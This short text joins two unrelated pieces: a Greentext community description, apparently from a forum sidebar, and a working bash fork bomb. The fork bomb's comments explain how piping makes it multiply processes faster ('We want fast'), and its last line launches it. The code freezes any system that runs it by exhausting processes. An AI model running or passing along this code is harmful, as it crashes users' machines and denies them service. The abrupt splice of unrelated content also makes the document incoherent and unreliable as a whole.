Greentext

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This is a place to share greentexts and witness the confounding life of Anon. If you're new to the Greentext community, think of it as a sort of zoo with Anon as the main attraction.

Be warned:

• Anon is often crazy.
• Anon is often depressed.
• Anon frequently shares thoughts that are immature, offensive, or incomprehensible.

If you find yourself getting angry (or god forbid, agreeing) with something Anon has said, you might be doing it wrong.

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function forkbomb() {
    forkbomb | forkbomb &  ## background the process whilst recursing
    ## the pipe ensures that both instances are called at the same time, instead of waiting on the other
    ## without the pipe, you just get a linear increase in processes. Slow bomb. We want fast.
};
forkbomb  ## start it all off